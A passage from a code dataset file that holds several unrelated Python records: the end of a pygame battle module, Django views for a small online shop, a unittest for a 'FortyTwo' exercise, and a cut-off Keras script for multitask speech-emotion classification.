battle_gui_manager, surface, background, world_Manager)\n return battleManger\n", "sub_path": "Codes/Battle_Module.py", "file_name": "Battle_Module.py", "file_ext": "py", "file_size_in_byte": 6328, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "threading.Lock", "line_number": 16, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 64, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 65, "usage_type": "call"}, {"api_name": "UI.get_skip_button", "line_number": 70, "usage_type": "call"}, {"api_name": "UI.get_skills_button", "line_number": 78, "usage_type": "call"}, {"api_name": "UI.get_target_button", "line_number": 84, "usage_type": "call"}, {"api_name": "Player.Player", "line_number": 110, "usage_type": "attribute"}, {"api_name": "Enemy.Enemy", "line_number": 110, "usage_type": "attribute"}, {"api_name": "Player.Player", "line_number": 111, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 130, "usage_type": "call"}, {"api_name": "pygame_gui.UI_BUTTON_PRESSED", "line_number": 133, "usage_type": "attribute"}, {"api_name": "pygame_gui.UIManager", "line_number": 152, "usage_type": "call"}]} +{"seq_id": "76511385", "text": "\n# Create your views here.\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.models import User\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.core.mail import send_mail\nfrom django.shortcuts import render, redirect\nfrom django.template.loader import render_to_string\nfrom django.utils.encoding import force_bytes\nfrom django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode\nfrom django.views.generic import ListView, TemplateView\nfrom rest_framework import viewsets\n\nfrom eShop import settings\nfrom shop.forms import UserSignupForm, ReviewForm, UserSigninForm, SellProductForm, BuyerDeliveryForm\n\nfrom shop.models import Category, Product, Buyer\nfrom shop.serializer import ProductSerializer\nfrom shop.tokens import activation_token\n\n\ndef homepage(request):\n products_all = Product.objects.filter(active=True)\n categories = Category.objects.filter(active=True)\n products = Product.objects.filter(active=True).order_by('-created')\n featured_products = Product.objects.filter(featured=True)\n paginator = Paginator(products,5)\n page = request.GET.get('page')\n products = paginator.get_page(page)\n return render(request,'shop/base.html',{'products_all':products_all,'categories':categories,'product':products,'featured_products':featured_products})\n\n# class HomePage(TemplateView):\n# template_name = \"shop/base.html\"\n# paginate_by = 2\n#\n# def get_context_data(self, **kwargs):\n# context = super(HomePage, self).get_context_data(**kwargs)\n# context['categories'] = Category.objects.filter(active=True)\n# context['product'] = Product.objects.filter(active=True).order_by('-created')\n# context['featured_products'] = Product.objects.filter(featured=True)\n#\n# return context\n\n\ndef categories(request,slug):\n category = Category.objects.get(slug=slug)\n products = Product.objects.filter(category=category,active=True)\n return render(request,'shop/products_list.html',{'products':products})\n\n\ndef all_products(request):\n products_all = Product.objects.filter(active=True)\n products = Product.objects.filter(active=True).order_by('-created')\n paginator = Paginator(products, 5)\n page = request.GET.get('page')\n products = paginator.get_page(page)\n return render(request, \"shop/products_list.html\", {'products_all':products_all,'products':products})\n\n\ndef search(request):\n q = request.GET[\"q\"]\n if q:\n products = Product.objects.filter(active=True, name__icontains=q)\n categories = Category.objects.filter(active=True)\n context = {\"products\": products,\n \"categories\": categories}\n return render(request, \"shop/products_list.html\", context)\n else:\n return redirect('/')\n\n\ndef detail(request,slug):\n product = Product.objects.get(slug=slug)\n form = ReviewForm()\n return render(request,'shop/detail.html',{'product':product,'form':form})\n\n\ndef review(request,slug):\n if not request.user.is_authenticated:\n messages.info(request,\"You need to be logged in in order to give a review\")\n return redirect('%s?next=%s' % (settings.LOGIN_URL, request.path))\n if request.method == \"POST\":\n form = ReviewForm(request.POST)\n if form.is_valid():\n review = form.save(commit=False)\n review.product = Product.objects.get(slug=slug)\n review.user = request.user\n review.save()\n messages.success(request, 'Review Saved.')\n return redirect('shop:detail', slug)\n else:\n return redirect('shop:detail',slug)\n\n\ndef activate(req, uidb64, token):\n try:\n uid = urlsafe_base64_decode(uidb64).decode()\n user = User.objects.get(id=uid)\n except(TypeError, ValueError):\n user = None\n if user and activation_token.check_token(user, token):\n user.is_active = True\n user.save()\n messages.info(req, 'Your Account activated. Now Login')\n return redirect(\"shop:login\")\n else:\n messages.error(req, \"Activation link is Invalid.\")\n\n\ndef users_signup(req):\n if req.method == \"POST\":\n form = UserSignupForm(req.POST)\n if form.is_valid():\n user = form.save(commit=False)\n user.is_active = False\n user.save()\n site = get_current_site(req)\n mail_subject = \"Confirmation message\"\n message = render_to_string('shop/activate_mail.html', {\n \"user\": user,\n 'domain': site.domain,\n 'uid': urlsafe_base64_encode(force_bytes(user.pk)).decode(),\n 'token': activation_token.make_token(user)\n })\n to_email = form.cleaned_data.get('email')\n to_list = [to_email]\n from_email = settings.EMAIL_HOST_USER\n send_mail(mail_subject, message, from_email, to_list, fail_silently=True)\n messages.success(req,\"Thanks for your registration. A confirmation link has been sent to your email\")\n else:\n form = UserSignupForm()\n return render(req,'shop/users_signup.html',{'form':form})\n\n\ndef users_signin(request):\n if request.method == \"POST\":\n form = UserSigninForm(request.POST)\n username = form['username'].value()\n password = form['password'].value()\n user = authenticate(username=username,password=password)\n if user:\n login(request,user)\n redirect_url = request.GET.get('next','shop:home')\n return redirect(redirect_url)\n else:\n messages.error(request,'Invalid username or password')\n else:\n form = UserSigninForm()\n return render(request,'shop/users_signin.html',{'form':form})\n\n\ndef signout(request):\n logout(request)\n messages.success(request,'Logged out Successfully !!')\n return redirect('shop:login')\n\n\ndef sell_product(request):\n if not request.user.is_authenticated:\n messages.info(request,'You have to logged in first to sell the product.')\n return redirect('%s?next=%s' %(settings.LOGIN_URL, request.path))\n if request.method == \"POST\":\n form = SellProductForm(request.POST, request.FILES)\n if form.is_valid():\n myproduct = form.save(commit=False)\n myproduct.seller = request.user\n myproduct.save()\n messages.success(request, 'Your Product has been posted successfully')\n return redirect('shop:all_products')\n\n else:\n form = SellProductForm()\n return render(request,'shop/sell_product.html',{'form':form})\n\n\ndef items_buy(request):\n if not request.user.is_authenticated:\n messages.info(request, 'You have to logged in first.')\n return redirect('%s?next=%s' % (settings.LOGIN_URL, request.path))\n sess = request.session.get(\"data\", {\"items\": []})\n if request.method == \"POST\":\n form = BuyerDeliveryForm(request.POST)\n if form.is_valid():\n buyer = form.save(commit=False)\n buyer.save()\n buyer.product.set(Product.objects.filter(active=True, slug__in=sess[\"items\"]))\n return redirect('shop:payment')\n else:\n form = BuyerDeliveryForm()\n return render(request, 'shop/delivery_form.html', {'form': form})\n\n\ndef payment(request):\n return render(request,'shop/payment.html')\n\n\ndef cart(request,slug):\n product = Product.objects.get(slug=slug)\n initial = {\"items\":[],\"price\":0.0,\"count\":0}\n session = request.session.get('data',initial)\n if slug in session['items']:\n messages.error(request,'Already added.')\n else:\n session[\"items\"].append(slug)\n session[\"price\"] += float(product.price)\n if product.shipping_fee:\n session['price'] += float(product.shipping_fee)\n session[\"count\"] += 1\n request.session[\"data\"] = session\n messages.success(request,'Added to Cart.')\n return redirect('shop:detail',slug)\n\n\ndef mycart(request):\n sess = request.session.get(\"data\", {\"items\": []})\n products = Product.objects.filter(active=True, slug__in=sess[\"items\"])\n if not products:\n return render(request,'shop/empty_cart.html')\n context = {\"products\": products,\n \"categories\": categories}\n return render(request,'shop/cart_item.html',context)\n\n\ndef checkout(request):\n request.session.pop('data', None)\n messages.success(request,'Done.Thanks for using our services.')\n return redirect(\"shop:mycart\")\n\n\nclass ApiProducts(viewsets.ModelViewSet):\n queryset = Product.objects.filter(active=True)\n serializer_class = ProductSerializer\n permission_classes = [isAdminUser]\n\n", "sub_path": "shop/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 8703, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "shop.models.Product.objects.filter", "line_number": 24, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 24, "usage_type": "name"}, {"api_name": "shop.models.Category.objects.filter", "line_number": 25, "usage_type": "call"}, {"api_name": "shop.models.Category.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "shop.models.Category", "line_number": 25, "usage_type": "name"}, {"api_name": "shop.models.Product.objects.filter", "line_number": 26, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 26, "usage_type": "name"}, {"api_name": "shop.models.Product.objects.filter", "line_number": 27, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 27, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 31, "usage_type": "call"}, {"api_name": "shop.models.Category.objects.get", "line_number": 47, "usage_type": "call"}, {"api_name": "shop.models.Category.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "shop.models.Category", "line_number": 47, "usage_type": "name"}, {"api_name": "shop.models.Product.objects.filter", "line_number": 48, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 48, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 49, "usage_type": "call"}, {"api_name": "shop.models.Product.objects.filter", "line_number": 53, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 53, "usage_type": "name"}, {"api_name": "shop.models.Product.objects.filter", "line_number": 54, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 54, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 54, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 58, "usage_type": "call"}, {"api_name": "shop.models.Product.objects.filter", "line_number": 64, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 64, "usage_type": "name"}, {"api_name": "shop.models.Category.objects.filter", "line_number": 65, "usage_type": "call"}, {"api_name": "shop.models.Category.objects", "line_number": 65, "usage_type": "attribute"}, {"api_name": "shop.models.Category", "line_number": 65, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 68, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 70, "usage_type": "call"}, {"api_name": "shop.models.Product.objects.get", "line_number": 74, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 74, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 74, "usage_type": "name"}, {"api_name": "shop.forms.ReviewForm", "line_number": 75, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 76, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 81, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 81, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 82, "usage_type": "call"}, {"api_name": "eShop.settings.LOGIN_URL", "line_number": 82, "usage_type": "attribute"}, {"api_name": "eShop.settings", "line_number": 82, "usage_type": "name"}, {"api_name": "shop.forms.ReviewForm", "line_number": 84, "usage_type": "call"}, {"api_name": "shop.models.Product.objects.get", "line_number": 87, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 87, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 87, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 90, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 90, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 91, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 93, "usage_type": "call"}, {"api_name": "django.utils.http.urlsafe_base64_decode", "line_number": 98, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 99, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 99, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 99, "usage_type": "name"}, {"api_name": "shop.tokens.activation_token.check_token", "line_number": 102, "usage_type": "call"}, {"api_name": "shop.tokens.activation_token", "line_number": 102, "usage_type": "name"}, {"api_name": "django.contrib.messages.info", "line_number": 105, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 105, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 106, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 108, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 108, "usage_type": "name"}, {"api_name": "shop.forms.UserSignupForm", "line_number": 113, "usage_type": "call"}, {"api_name": "django.contrib.sites.shortcuts.get_current_site", "line_number": 118, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 120, "usage_type": "call"}, {"api_name": "django.utils.http.urlsafe_base64_encode", "line_number": 123, "usage_type": "call"}, {"api_name": "django.utils.encoding.force_bytes", "line_number": 123, "usage_type": "call"}, {"api_name": "shop.tokens.activation_token.make_token", "line_number": 124, "usage_type": "call"}, {"api_name": "shop.tokens.activation_token", "line_number": 124, "usage_type": "name"}, {"api_name": "eShop.settings.EMAIL_HOST_USER", "line_number": 128, "usage_type": "attribute"}, {"api_name": "eShop.settings", "line_number": 128, "usage_type": "name"}, {"api_name": "django.core.mail.send_mail", "line_number": 129, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 130, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 130, "usage_type": "name"}, {"api_name": "shop.forms.UserSignupForm", "line_number": 132, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 133, "usage_type": "call"}, {"api_name": "shop.forms.UserSigninForm", "line_number": 138, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 141, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 143, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 145, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 147, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 147, "usage_type": "name"}, {"api_name": "shop.forms.UserSigninForm", "line_number": 149, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 150, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 154, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 155, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 155, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 156, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 161, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 161, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 162, "usage_type": "call"}, {"api_name": "eShop.settings.LOGIN_URL", "line_number": 162, "usage_type": "attribute"}, {"api_name": "eShop.settings", "line_number": 162, "usage_type": "name"}, {"api_name": "shop.forms.SellProductForm", "line_number": 164, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 169, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 169, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 170, "usage_type": "call"}, {"api_name": "shop.forms.SellProductForm", "line_number": 173, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 174, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 179, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 179, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 180, "usage_type": "call"}, {"api_name": "eShop.settings.LOGIN_URL", "line_number": 180, "usage_type": "attribute"}, {"api_name": "eShop.settings", "line_number": 180, "usage_type": "name"}, {"api_name": "shop.forms.BuyerDeliveryForm", "line_number": 183, "usage_type": "call"}, {"api_name": "shop.models.Product.objects.filter", "line_number": 187, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 187, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 187, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 188, "usage_type": "call"}, {"api_name": "shop.forms.BuyerDeliveryForm", "line_number": 190, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 191, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 195, "usage_type": "call"}, {"api_name": "shop.models.Product.objects.get", "line_number": 199, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 199, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 199, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 203, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 203, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 211, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 211, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 212, "usage_type": "call"}, {"api_name": "shop.models.Product.objects.filter", "line_number": 217, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 217, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 217, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 219, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 222, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 227, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 227, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 228, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 231, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 231, "usage_type": "name"}, {"api_name": "shop.models.Product.objects.filter", "line_number": 232, "usage_type": "call"}, {"api_name": "shop.models.Product.objects", "line_number": 232, "usage_type": "attribute"}, {"api_name": "shop.models.Product", "line_number": 232, "usage_type": "name"}, {"api_name": "shop.serializer.ProductSerializer", "line_number": 233, "usage_type": "name"}]} +{"seq_id": "10386727", "text": "#!/usr/bin/env python3\n\n# ------------\n# FortyTwoT.py\n# ------------\n\n# http://www.spoj.com/problems/TEST/\n\nfrom io import StringIO\nfrom unittest import main, TestCase\n\nfrom FortyTwo import \\\n forty_two\n\nclass TestFortyTwo (TestCase) :\n def test_forty_two (self) :\n r = StringIO(\"1\\n2\\n88\\n42\\n99\\n\")\n w = StringIO()\n forty_two(r, w)\n self.assertEqual(w.getvalue(), \"1\\n2\\n88\\n\")\n\nif __name__ == \"__main__\" :\n main()\n", "sub_path": "exercises/FortyTwoT.py", "file_name": "FortyTwoT.py", "file_ext": "py", "file_size_in_byte": 460, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "unittest.TestCase", "line_number": 15, "usage_type": "name"}, {"api_name": "io.StringIO", "line_number": 17, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 18, "usage_type": "call"}, {"api_name": "FortyTwo.forty_two", "line_number": 19, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 23, "usage_type": "call"}]} +{"seq_id": "478806327", "text": "from __future__ import division\r\nfrom __future__ import print_function\r\nimport numpy as np\r\nfrom os import path\r\nfrom IPython import embed\r\nimport scipy.io\r\nimport cPickle as pickle\r\nfrom keras.models import Sequential, Model\r\nfrom keras.layers import Input, Dense, Dropout, Activation, merge\r\nfrom keras.optimizers import SGD, Adam, RMSprop\r\nfrom keras.utils import np_utils\r\n\r\n\r\nnp.random.seed(1) # for reproducibility\r\nDB_PATH = '../../data/IEMOCAP/data.txt'\r\nEXP_DATA_DIR = '/nfs/turbo/McInnisLab/Soheil/speech-workroom/egs/speech-prism/temp_exp0200/data'\r\nSIV_DIR = EXP_DATA_DIR + '/siv/fold1'\r\nSIV_EXT = '.siv.mat'\r\nSTATS0_DIR = EXP_DATA_DIR + '/stats/0'\r\nSTATS_EXT = '.stat.mat'\r\nMAX_SAMPLE_NUM = 15000\r\nBATCH_SIZE = 128\r\nNB_EPOCH = [20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20]\r\nMIX_NUM = 256\r\nFOLD_NUM = 10\r\nSIV_DIM = 40\r\nNB_CLASSES_Y1 = 4\r\nNB_CLASSES_Y2 = 10\r\nUSE_UNACC_FOR_Y1 = False\r\nUSE_UNACC_FOR_Y2 = False\r\nSPEAKER_NORMALIZATION_X1 = False\r\nSPEAKER_NORMALIZATION_X2 = False\r\nRNN_UNTIED_NUM = 7\r\n\r\n\r\n# =============================================================\r\n\r\n\r\ndef read_lines_from_file(file_path):\r\n f = open(file_path, 'r')\r\n lines = f.readlines()\r\n f.close()\r\n return lines\r\n\r\n\r\ndef load_matlab_vector(file_path):\r\n vec = scipy.io.loadmat(file_path).get('obj')\r\n vec = np.reshape(vec, [1, np.size(vec)])\r\n return vec\r\n\r\n\r\ndef calculate_unweighted_acc(y_true, y_pred, nb_classes):\r\n unacc = 0\r\n for k in range(nb_classes):\r\n acc_k = sum((y_true == k) * (y_pred == k)) / sum(y_true == k)\r\n unacc = unacc + acc_k\r\n unacc = unacc / nb_classes\r\n return unacc\r\n\r\n\r\ndef calculate_weighted_acc(y_true, y_pred):\r\n return sum(y_true == y_pred)/len(y_true)\r\n\r\n\r\nclass Database:\r\n def __init__(self):\r\n self.ids = list()\r\n self.labels = np.full(MAX_SAMPLE_NUM, np.nan)\r\n self.speakers = list()\r\n self.genders = np.full(MAX_SAMPLE_NUM, np.nan)\r\n self.channels = np.full(MAX_SAMPLE_NUM, np.nan)\r\n self.folds = np.full([MAX_SAMPLE_NUM, FOLD_NUM], np.nan)\r\n self.sivs = np.full([MAX_SAMPLE_NUM, SIV_DIM], np.nan)\r\n self.stats0 = np.full([MAX_SAMPLE_NUM, MIX_NUM], np.nan)\r\n\r\n def load(self):\r\n lines = read_lines_from_file(DB_PATH)\r\n lines = lines[1:]\r\n mask = np.zeros(len(self.labels), dtype=bool)\r\n for i in range(len(lines)):\r\n print('line number = ' + str(i))\r\n line = lines[i].strip()\r\n ps = line.split('\\t')\r\n line_id = ps[0]\r\n line_label = ps[1]\r\n line_speaker = ps[2]\r\n line_gender = ps[3]\r\n line_channel = ps[4]\r\n line_fold = ps[5]\r\n siv_file_path = SIV_DIR + '/' + line_id + SIV_EXT\r\n stat0_file_path = STATS0_DIR + '/' + line_id + STATS_EXT\r\n if not(path.exists(siv_file_path)) or not(path.isfile(siv_file_path)):\r\n continue\r\n if not(path.exists(stat0_file_path)) or not(path.isfile(stat0_file_path)):\r\n continue\r\n mask[i] = True\r\n self.ids.append(line_id)\r\n self.labels[i] = int(line_label)\r\n self.speakers.append(line_speaker)\r\n self.genders[i] = int(line_gender == 'M')\r\n self.channels[i] = int(line_channel == 'M')\r\n line_folds_parts = line_fold.split(' ')\r\n for j in range(len(line_folds_parts)):\r\n self.folds[i, j] = int(line_folds_parts[j])\r\n self.sivs[i, :] = load_matlab_vector(siv_file_path)\r\n self.stats0[i, :] = load_matlab_vector(stat0_file_path)\r\n self.labels = self.labels[mask]\r\n self.genders = self.genders[mask]\r\n self.channels = self.channels[mask]\r\n self.folds = self.folds[mask, :]\r\n self.sivs = self.sivs[mask, :]\r\n self.stats0 = self.stats0[mask, :]\r\n\r\n\r\nclass Data:\r\n def __init__(self, db):\r\n self.X = db.sivs.astype('float32')\r\n self.y1 = db.labels.astype('int')\r\n # self.y2 = db.genders.astype('int') + db.channels.astype('int')\r\n # self.y2[self.y2 == 2] = 0\r\n # self.y2 = db.genders.astype('int')\r\n self.y2 = np.dot(db.folds.astype('int'), np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]).T)\r\n # db.folds = np_utils.to_categorical(np.random.randint(FOLD_NUM, size=len(y)), FOLD_NUM)\r\n self.Y1 = np_utils.to_categorical(self.y1, NB_CLASSES_Y1)\r\n self.Y2 = np_utils.to_categorical(self.y2, NB_CLASSES_Y2)\r\n self.X = (self.X - self.X.mean(axis=0)) / self.X.std(axis=0)\r\n self.X1 = np.copy(self.X)\r\n self.X2 = np.copy(self.X)\r\n if SPEAKER_NORMALIZATION_X1:\r\n self.X1 = speaker_normalize(self.X1, db.folds, FOLD_NUM)\r\n if SPEAKER_NORMALIZATION_X2:\r\n self.X2 = speaker_normalize(self.X2, db.folds, FOLD_NUM)\r\n\r\n def define_data_train_test(self, folds):\r\n test_inds = folds > 0.5\r\n train_inds = folds < 0.5\r\n self.X1_train = self.X1[train_inds, :]\r\n self.X1_test = self.X1[test_inds, :]\r\n self.X2_train = self.X2[train_inds, :]\r\n self.X2_test = self.X2[test_inds, :]\r\n self.Y1_train = self.Y1[train_inds, :]\r\n self.y1_train = self.y1[train_inds]\r\n self.Y1_test = self.Y1[test_inds, :]\r\n self.y1_test = self.y1[test_inds]\r\n self.Y2_train = self.Y2[train_inds, :]\r\n self.y2_train = self.y2[train_inds]\r\n self.Y2_test = self.Y2[test_inds, :]\r\n self.y2_test = self.y2[test_inds]\r\n self.class_weight_y1 = dict()\r\n for c in range(NB_CLASSES_Y1):\r\n if USE_UNACC_FOR_Y1:\r\n self.class_weight_y1[c] = 1 / np.sum(self.y1_train == c)\r\n else:\r\n self.class_weight_y1[c] = 1\r\n self.class_weight_y2 = dict()\r\n for c in range(NB_CLASSES_Y2):\r\n if USE_UNACC_FOR_Y2:\r\n self.class_weight_y2[c] = 1 / np.sum(self.y2_train == c)\r\n else:\r\n self.class_weight_y2[c] = 1\r\n\r\n\r\ndef speaker_normalize(X, spks, spks_num):\r\n for f in range(spks_num):\r\n inds = spks[:, f] > 0.5\r\n X[inds] = (X[inds] - X[inds].mean(axis=0)) / X[inds].std(axis=0)\r\n return X\r\n\r\n\r\nclass N_y1:\r\n\r\n @staticmethod\r\n def define():\r\n N_y1.dense1 = Dense(120, activation='sigmoid')\r\n# N_y1.dense2 = Dense(120, activation='sigmoid')\r\n N_y1.dense3 = Dense(NB_CLASSES_Y1, activation='linear')\r\n\r\n @staticmethod\r\n def apply(_y2, _ry1, name):\r\n _t = merge([_y2, _ry1], mode='concat')\r\n _t = N_y1.dense1(_t)\r\n# _t = Dropout(.2)(_t)\r\n# _t = N_y1.dense2(_t)\r\n# _t = Dropout(.2)(_t)\r\n _t = N_y1.dense3(_t)\r\n _y1 = Activation('softmax', name=name)(_t)\r\n return _y1\r\n\r\n\r\nclass N_y2:\r\n\r\n @staticmethod\r\n def define():\r\n N_y2.dense1 = Dense(120, activation='sigmoid')\r\n# N_y2.dense2 = Dense(120, activation='sigmoid')\r\n N_y2.dense3 = Dense(NB_CLASSES_Y2, activation='linear')\r\n\r\n @staticmethod\r\n def apply(_y1, _ry2, name):\r\n _t = merge([_y1, _ry2], mode='concat')\r\n _t = N_y2.dense1(_t)\r\n# _t = Dropout(.2)(_t)\r\n# _t = N_y2.dense2(_t)\r\n# _t = Dropout(.2)(_t)\r\n _t = N_y2.dense3(_t)\r\n _y2 = Activation('softmax', name=name)(_t)\r\n return _y2\r\n\r\n\r\nclass N_ry1:\r\n\r\n @staticmethod\r\n def define():\r\n N_ry1.dense1 = Dense(120, activation='sigmoid')\r\n# N_ry1.dense2 = Dense(120, activation='sigmoid')\r\n N_ry1.dense3 = Dense(120, activation='linear')\r\n\r\n @staticmethod\r\n def apply(_y1, _ry2, name):\r\n _t = merge([_y1, _ry2], mode='concat')\r\n _t = N_ry1.dense1(_t)\r\n# _t = Dropout(.2)(_t)\r\n# _t = N_ry1.dense2(_t)\r\n# _t = Dropout(.2)(_t)\r\n _t = N_ry1.dense3(_t)\r\n _ry1 = Activation('sigmoid', name=name)(_t)\r\n return _ry1\r\n\r\n\r\nclass N_ry2:\r\n\r\n @staticmethod\r\n def define():\r\n N_ry2.dense1 = Dense(120, activation='sigmoid')\r\n# N_ry2.dense2 = Dense(120, activation='sigmoid')\r\n N_ry2.dense3 = Dense(120, activation='linear')\r\n\r\n @staticmethod\r\n def apply(_y2, _ry1, name):\r\n _t = merge([_y2, _ry1], mode='concat')\r\n _t = N_ry2.dense1(_t)\r\n# _t = Dropout(.2)(_t)\r\n# _t = N_ry2.dense2(_t)\r\n# _t = Dropout(.2)(_t)\r\n _t = N_ry2.dense3(_t)\r\n _ry2 = Activation('sigmoid', name=name)(_t)\r\n return _ry2\r\n\r\n\r\nclass N_ry1_t0:\r\n\r\n @staticmethod\r\n def define():\r\n N_ry1_t0.dense1 = Dense(120, activation='sigmoid')\r\n# N_ry1_t0.dense2 = Dense(120, activation='sigmoid')\r\n N_ry1_t0.dense3 = Dense(120, activation='linear')\r\n\r\n @staticmethod\r\n def apply(_ry1_start, name):\r\n _t = N_ry1_t0.dense1(_ry1_start)\r\n# _t = Dropout(.2)(_t)\r\n# _t = N_ry1_t0.dense2(_t)\r\n# _t = Dropout(.2)(_t)\r\n _t = N_ry1_t0.dense3(_t)\r\n _ry1 = Activation('sigmoid', name=name)(_t)\r\n return _ry1\r\n\r\n\r\nclass N_ry2_t0:\r\n\r\n @staticmethod\r\n def define():\r\n N_ry2_t0.dense1 = Dense(120, activation='sigmoid')\r\n# N_ry2_t0.dense2 = Dense(120, activation='sigmoid')\r\n N_ry2_t0.dense3 = Dense(120, activation='linear')\r\n\r\n @staticmethod\r\n def apply(_ry2_start, name):\r\n _t = N_ry2_t0.dense1(_ry2_start)\r\n# _t = Dropout(.2)(_t)\r\n# _t = N_ry2_t0.dense2(_t)\r\n# _t = Dropout(.2)(_t)\r\n _t = N_ry2_t0.dense3(_t)\r\n _ry2 = Activation('sigmoid', name=name)(_t)\r\n return _ry2\r\n\r\n\r\nclass N_y1_t0:\r\n\r\n @staticmethod\r\n def define():\r\n N_y1_t0.dense1 = Dense(120, activation='sigmoid')\r\n# N_y1_t0.dense2 = Dense(120, activation='sigmoid')\r\n 